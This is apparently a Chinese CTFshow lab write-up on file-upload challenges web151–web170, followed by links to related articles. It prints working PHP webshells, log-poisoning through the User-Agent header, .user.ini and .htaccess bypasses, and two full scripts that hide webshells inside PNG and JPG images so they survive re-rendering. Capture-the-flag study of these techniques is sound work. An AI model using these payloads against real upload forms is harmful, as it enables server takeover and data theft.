web入门—文件上传

  • web151
  • web152
  • web153
  • web154
  • web155
  • web156
  • web157
  • web158
  • web159
  • web160
  • web161
  • web162、web163
  • web164
  • web165
  • web166
  • web167
  • web168
  • web169
  • web170

web151

前端校验

修改上传格式为php,上传一句话马,蚁剑连接得flag

web152

后端校验
上传一句话,png文件抓包

修改文件名后缀为php,访问被解析,蚁剑连接得flag。

web153

打开发现/upload下存在index.php文件,我们可以利用.user.ini,可参阅.htaccess 和.user.ini 配置文件妙用
php手册—关于php.ini配置项
前端把后缀限制去掉,accept改为file,上传user.ini

Content-Type修改为image/png

上传1.txt文件也能成功

蚁剑连接得flag。

web154


上题做法提示文件内容不合规,我们在文件头添加GIF89a还是不行,经过了一番尝试…发现过滤了php,那我们使用短标签

蚁剑连接得flag。

web155

按照上题做法依旧可以。

web156

在之前的基础上又过滤了[],可以用{}代替。

web157

过滤了;{,直接命令执行可以了

<?=`tac ../fl*`?>

web158

和上题做法一样

<?=`tac ../fl*`?>

web159

依旧可以

<?=`tac ../fl*`?>

web160

日志包含绕过

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

先上传一个.user.ini文件,之后上传一个txt文件,内容为<?=include"/var/lo"."g/nginx/access.lo"."g"?>考虑到过滤log,之后User-Agent修改为<?php eval($_POST[1]);?>蚁剑连接得flag。

web161

上传ini文件时加上GIF89A


修改User-Agent为<?php eval($_POST[1]);?>,蚁剑连接得flag。

web162、web163

先放这…

web164

二次渲染绕过

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>*/?>

脚本生成图片上传执行命令Ctrl+S下载文件得flag。

web165

jpg图片二次渲染绕过

<?php$miniPayload = "<?php system('tac f*');?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>
# 用法  php exp.php a.png

web166

前端要求上传zip格式,我们可以直接包含一句话
修改Content-Type为application/x-zip-compressed

web167

题目提示httpd 利用.htaccess进行绕过

AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php


接着上传图片包含一句话

蚁剑连接得flag。

web168

基础免杀
上传png抓包,修改文件格式为php,在文件后面执行命令


发现flag在上层目录里,直接rce

web169

先上传一个index.php,然后利用日志包含,上传.user.ini

UA包含一句话,蚁剑连接。

web170

同上题。

CTFshow——web入门——文件上传相关推荐

  1. [ctfshow]web入门——文件上传(web156-web163)

    [ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...

  2. CTFshow web入门——文件上传

    目录 Web 151 考点:后端无验证,前端校验 Web 152 考点:绕过前端校验 Web 153 考点:文件后缀名,黑名单 Web 154-155 考点:文件内容过滤,过滤关键字是php Web ...

  3. 2020小迪培训(第21天 WEB 漏洞-文件上传之后端黑白名单绕过)

    WEB 漏洞-文件上传之后端黑白名单绕过 前言 文件上传常见验证 后缀名,类型,文件头等 后缀名:黑名单,白名单 黑名单:明确不允许上传的格式后缀 asp php jsp cgi war- 缺陷:在定 ...

  4. WEB漏洞-文件上传之后端黑白名单绕过

    WEB漏洞-文件上传之后端黑白名单绕过 文件上传常见验证:后缀名,类型,文件头 后缀名:黑名单,白名单 黑名单:asp php jsp aspx cgi war- 白名单: txt jpg zip r ...

  5. 2020小迪培训(第20天WEB 漏洞-文件上传之基础及过滤方式)

    WEB 漏洞-文件上传之基础及过滤方式 前言 知识点 什么是文件上传漏洞? 有文件上传不一定存在漏洞 凡是存在文件上传的地方/功能的地方都可以进行文件上传漏洞测试 上传文件操作的代码的完整性.安全性, ...

  6. 上传文件白名单_十大常见web漏洞——文件上传漏洞

    漏洞介绍 在我们浏览网页时,文件上传是非常常见的,比如我们会上传头像.附件.视频等文件,文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文 ...

  7. 用VSCode开发一个asp.net core2.0+angular5项目(5): Angular5+asp.net core 2.0 web api文件上传...

    第一部分: http://www.cnblogs.com/cgzl/p/8478993.html 第二部分: http://www.cnblogs.com/cgzl/p/8481825.html 第三 ...

  8. Stream - Web大文件上传插件

    Stream 简介 Stream 是根据某网的文件上传插件加工而来,支持不同平台(Windows, Linux, Mac, Android, iOS)下,主流浏览器(IE7+, Chrome, Fir ...

  9. SpringMVC Web实现文件上传下载功能实例解析

    需求: 项目要支持大文件上传功能,经过讨论,初步将文件上传大小控制在20G内,因此自己需要在项目中进行文件上传部分的调整和配置,自己将大小都以20G来进行限制. PC端全平台支持,要求支持Window ...

最新文章

  1. 初入react-redux (基于webpack babel的react应用框架)
  2. VTK:几何对象之Arrow
  3. C++ 中不能被继承的类实现,及从中体现virtual 继承的一个特性
  4. 股神巴菲特揭示致富的十大秘籍[转]
  5. ell服务器专用pe系统,GitHub - elltor/smpe-admin: 后端通用开发框架
  6. redis获取byte数组_《Redis深度历险》读书笔记
  7. php mysql 学习周期_学习PHPMYSQL到目前为止 所有的区别特点
  8. 区块链入门与去中心化应用实战 之一 第2章 区块链技术的核心概念和原理
  9. destroy意思中文翻译_destroy是什么意思_ destroy的翻译_音标_读音_用法_例句_爱词霸在线词典...
  10. Java中Minio基础使用
  11. Linux系统安全防护加固
  12. 关于vs2010调用python中Py_Initialize函数报错的原因
  13. (转)增强学习(二)----- 马尔可夫决策过程MDP
  14. 30+本MySQL经典书籍
  15. 百度移动搜索落地页体验广告白皮书3.0上线
  16. Windows Hello 摄像头人脸识别解锁 DELL拆机摄像头方案
  17. 揭开宏的神秘面纱:什么是宏,为什么使用宏?
  18. linux修改用户uid gid
  19. php and mysql登录注册页面
  20. 如何治理 Electron 版本淘宝直播应用崩溃?

热门文章

  1. 【强化学习】强化学习/增强学习/再励学习介绍
  2. linux ps -aef,Linux命令——ps、pstree
  3. 使用C#实现百度API【人脸检测】V3版
  4. mob.com亮相TFC 助力全球手游开发者扬帆
  5. Flex + LCDS + J2EE Web项目(1)
  6. FPGA时序约束与分析 (2)--- primary clock主时钟约束
  7. Vue关于this.$http.put传不了带参url的问题
  8. 【渝粤教育】国家开放大学2018年春季 0707-21T办公室实务 参考试题
  9. 多示例数据集 (Multi-instance)
  10. 进程通信之一 使用WM_COPYDATA C++及C#实现